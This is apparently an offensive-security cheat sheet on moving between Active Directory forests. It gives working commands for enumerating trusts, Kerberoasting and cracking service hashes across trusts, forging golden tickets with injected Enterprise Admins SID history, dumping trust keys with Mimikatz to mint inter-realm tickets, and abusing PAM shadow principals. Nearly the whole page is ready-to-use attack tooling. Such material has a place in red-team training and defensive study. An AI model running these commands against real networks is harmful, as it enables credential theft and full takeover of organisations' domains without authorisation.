Cross Forest Attacks
Attack techniques to move between different AD forests and exploit trust relationships.
Methodology
- 1Enumerate forest trusts
- 2Exploit trust relationships
- 3Perform SID history attacks
- 4Abuse PAM trust configurations
- 5Kerberoast across trusts
Detailed Steps
Enumerate forest trusts:
powershell
# PowerView
Get-ForestTrust
Get-ForestTrust -Forest external.local
# Get all domains in forest
Get-ForestDomain
Get-ForestDomain -Forest external.local
# Map all trusts
Get-DomainTrustMapping
# AD Module
Get-ADForest
Get-ADForest -Identity external.local
Get-ADTrust -Filter *Trust types:
- Parent-Child: Within same forest, bidirectional transitive
- TreeRoot: Between forest trees, bidirectional transitive
- External: Between domains in different forests, non-transitive
- Forest: Between forest roots, transitive
- Shortcut: Between domains in same forest for optimization
Enumerate SPNs in external forest:
powershell
# PowerView
Get-DomainUser -SPN -Domain external.local
# Rubeus
.\Rubeus.exe kerberoast /domain:external.local /dc:dc.external.local
# Request specific SPN across trust
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sql.external.local:1433"
# Export and crack
.\Rubeus.exe kerberoast /domain:external.local /outfile:external_hashes.txt
hashcat -m 13100 external_hashes.txt wordlist.txtInject SID from external domain:
powershell
# Get Enterprise Admins SID from parent forest
Get-DomainGroup -Identity "Enterprise Admins" -Domain parent.local
# Create Golden Ticket with SID history (requires child domain krbtgt hash)
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:child.parent.local /sid:S-1-5-21-CHILD-SID /sids:S-1-5-21-PARENT-SID-519 /krbtgt:CHILD_KRBTGT_HASH /ptt"'
# SID 519 = Enterprise Admins
# Now you have EA access to parent domain
ls \\dc.parent.local\c$Requirements:
- Trust between domains
- KRBTGT hash of child domain
- SID of target privileged group in parent
Using inter-forest trust key:
powershell
# Dump trust key (requires DC access)
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc01
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
# Create inter-realm TGT
Invoke-Mimikatz -Command '"kerberos::golden /domain:child.parent.local /sid:S-1-5-21-CHILD-SID /sids:S-1-5-21-PARENT-SID-519 /rc4:TRUST_KEY_HASH /user:Administrator /service:krbtgt /target:parent.local /ticket:trust_tkt.kirbi"'
# Request TGS in parent forest
.\asktgs.exe trust_tkt.kirbi CIFS/dc.parent.local
# Inject and use
.\kirbikator.exe lsa trust_tgs.kirbi
ls \\dc.parent.local\c$Privileged Access Management trust exploitation:
powershell
# Enumerate PAM trust
Get-ADTrust -Filter {msDS-TrustForestTrustInfo -ne "$null"}
# Check for shadow principals
Get-ADObject -Filter {objectClass -eq "msDS-ShadowPrincipal"}
# If you compromise bastion forest, you can access production
# Create TGT with shadow principal SID
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:bastion.local /sid:S-1-5-21-BASTION-SID /sids:SHADOW-PRINCIPAL-SID /krbtgt:BASTION_KRBTGT_HASH /target:production.local /service:krbtgt /ticket:pam_tkt.kirbi"'Exploiting trust direction:
shell
One-way outbound trust (A → B):
- Domain A trusts B
- Users from B can access resources in A
- Compromise domain B, you can access A
One-way inbound trust (A ← B):
- Domain B trusts A
- Users from A can access resources in B
- Compromise domain A, you can access Bpowershell
# Check trust direction
Get-DomainTrust
# If TrustDirection = Outbound or Bidirectional
# Users in current domain can authenticate to foreign domain
# Try accessing resources directly
ls \\dc.external.local\c$Tools
MimikatzRubeusPowerViewImpacket